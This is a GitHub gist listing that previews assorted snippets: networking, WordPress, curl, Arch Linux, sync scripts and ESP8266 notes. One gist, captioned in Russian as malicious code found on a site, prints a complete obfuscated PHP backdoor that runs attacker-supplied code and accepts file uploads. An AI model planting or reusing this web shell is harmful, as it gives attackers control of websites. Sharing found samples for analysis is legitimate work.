Skip to content

Instantly share code, notes, and snippets.

View d0n601's full-sized avatar
🐌
0x64306e363031

Ryan Kozak d0n601

🐌
0x64306e363031
View GitHub Profile
@pklaus
pklaus / ping.py
Created March 5, 2011 09:50
A pure python ping implementation using raw socket.
#!/usr/bin/env python2
"""
Other Repositories of python-ping
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* https://github.com/l4m3rx/python-ping supports Python2 and Python3
* https://bitbucket.org/delroth/python-ping
@fideloper
fideloper / vhost.py
Last active June 17, 2024 11:58
Create vHost Ubuntu Lamp-Server (bash and python)
#! /usr/bin/python
from sys import argv
from os.path import exists
from os import makedirs
from os import symlink
from os import system
import getopt
#
@romanbarczynski
romanbarczynski / wp_crypt.py
Last active November 18, 2018 20:39
Create WordPress passwords from python code
# Credits go to:
# https://www.facebook.com/permalink.php?id=120707754619074&story_fbid=389700354386478
# Fixed spacing (posting python on facebook is gr8 idea guys)
# Added generating passwords.
from hashlib import md5
import random
itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
@subfuzion
subfuzion / curl.md
Last active April 30, 2025 20:39
curl POST examples

Common Options

-#, --progress-bar Make curl display a simple progress bar instead of the more informational standard meter.

-b, --cookie <name=data> Supply cookie with request. If no =, then specifies the cookie file to use (see -c).

-c, --cookie-jar <file name> File to save response cookies to.

@kylemanna
kylemanna / arch-linux-install.md
Last active April 4, 2025 08:56 — forked from binaerbaum/arch-linux-install
Minimal instructions for installing arch linux on an UEFI NVMe system with full system encryption using dm-crypt and luks
@danielhickman
danielhickman / Wayback Machine Block.md
Created December 12, 2016 01:31
Block the Wayback Machine seen on web.archive.org
@deadbok
deadbok / wpconfig.py
Created February 18, 2017 18:13
Python class to work with Wordpress wp-config.php
# -*- coding: utf-8 -*-
"""
Manipulate a wp-config.php file.
MIT License
Copyright (c) 2017 Martin Bo Kristensen Grønholdt
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@bastos77
bastos77 / SOGO-Syncevolution-Syncscript.sh
Last active September 8, 2022 09:25
ubuntu touch SOGo-syncevolution syncronisation script
#!/bin/bash
# This script is a draft combination of the script found at https://gist.github.com/tcarrondo
# It is what I have done to make it work for my Fairphone 2 with UBports ubuntu touch 16.04
# Combined by me: Sebastian Gallehr <[email protected]>
# Thanks to: Tiago Carrondo <[email protected]>
# Thanks to: Romain Fluttaz <[email protected]>
# Thanks to: Wayne Ward <[email protected]>
# Thanks to: Mitchell Reese <[email protected]>
# --------------- [ Server ] ---------------- #
CAL_URL="https://..." # add the caldav URL here
@steepzero-old
steepzero-old / accesson.php
Created October 5, 2017 08:38
Вредоносный код на одном из сайтов
<?php echo 7457737+736723;$raPo_rZluoE=base64_decode("Y".chr(109)."F".chr(122).chr(90)."T".chr(89).chr(48).chr(88)."2"."R"."l"."Y".chr(50)."9".chr(107)."Z".chr(81)."="."=");$ydSJPtnwrSv=base64_decode(chr(89)."2".chr(57).chr(119).chr(101).chr(81).chr(61)."=");eval($raPo_rZluoE($_POST[base64_decode(chr(97).chr(87)."Q".chr(61))]));if($_POST[base64_decode("d".chr(88).chr(65)."=")] == base64_decode("d"."X".chr(65).chr(61))){@$ydSJPtnwrSv($_FILES[base64_decode(chr(90)."m"."l"."s".chr(90)."Q"."=".chr(61))][base64_decode(chr(100).chr(71).chr(49)."w"."X".chr(50)."5".chr(104)."b".chr(87)."U".chr(61))],$_FILES[base64_decode("Z".chr(109)."l"."s".chr(90)."Q".chr(61).chr(61))][base64_decode(chr(98)."m"."F".chr(116)."Z".chr(81).chr(61)."=")]);}; ?>
@carljdp
carljdp / D1 Mini ESP8266.md
Last active April 26, 2025 15:11
Getting started with the D1 mini (ESP8266)

D1 Mini (ESP8266)

Wesmos D1 Mini

1. Getting Started

1.1. Install the IDE:

In any web browser:

  • From the Arduino website, download & install the latest Arduino IDE (v1.8 or later). Available for Windows, Mac, Linux & ARM.

1.2. Add the ESP8266 module libraries: